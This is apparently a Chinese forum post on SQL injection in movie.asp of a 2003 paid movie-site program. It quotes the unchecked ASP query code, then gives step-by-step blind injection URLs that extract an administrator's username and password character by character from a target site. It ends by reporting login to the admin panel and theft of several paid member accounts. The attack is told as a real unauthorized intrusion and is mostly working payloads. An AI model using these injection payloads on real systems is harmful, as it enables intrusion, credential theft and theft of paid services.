近日学习sql injection,下载金梅收费电影程序2003会员版看了一通, 发现movie.asp这个文件有问题:
dim sql
dim rs
articleid=request("id")
set rs=server.createobject("adodb.recordset")
sql="update learning set hits=hits+1 where articleID="&articleid
rs.open sql,conn,1,3
sql="select * from learning where articleid="&articleid
rs.open sql,conn,1,1
title=rs("title")
ittype=rs("typeid")
没有对变量做任何检查,那就别怪我了,呵呵,找了个目标网站,
我们开始测试管理员帐号的位数,因为保存管理员帐号的字段名为name,所以语句为:
http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(name)>4)
正常返回页面,由此我们可以知道管理员的帐号是大于4位的!
我们继续,
http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(name)>
"无法显示网页",出错了,由此我们可以知道管理员的帐号是大于等于8位的
我们再来,
http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(name)=8)
正常返回页面,好极了,由此得出
name为8位
同样
http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(pwd)=21)
正常返回页面
pwd为21位,TNND的,这么长!
不管了,我们接下来开始测试管理员的用户名
http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(name,1,1))>50)
正常返回页面,看来还不够大.
注:mid函数可以把密码分成若干部分取出,使用方法 mid(字符串,起始位,取出的字符串的长度)
http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(name,1,1))>100)
"无法显示页面",看来比100还小.
http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(name,1,1))=100)
正常返回页面,于是我们可以得到管理员的用户名第一位的asc码为:100
通过查询asc码表可以得到,
name的第一位为:d
接下来顺利的得到了name=darkeyes^
然后我们开始测试pwd,呼,有21位啊,真是路漫漫其修远啊!:)
http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(pwd,1,1))>100)
正常显示页面,再来
http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(pwd,1,1))>110)
"无法显示页面",比110小哦,呵呵
http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(pwd,1,1))=102)
正常显示页面,对了,得到
pwd的第一位为:f
最后顺利的得到了
pwd=xyfsdb7ew8y654231123d
找到管理页面,登录进去,拿了几个黄金会员的帐号,就去慢慢欣赏movies了,呵呵。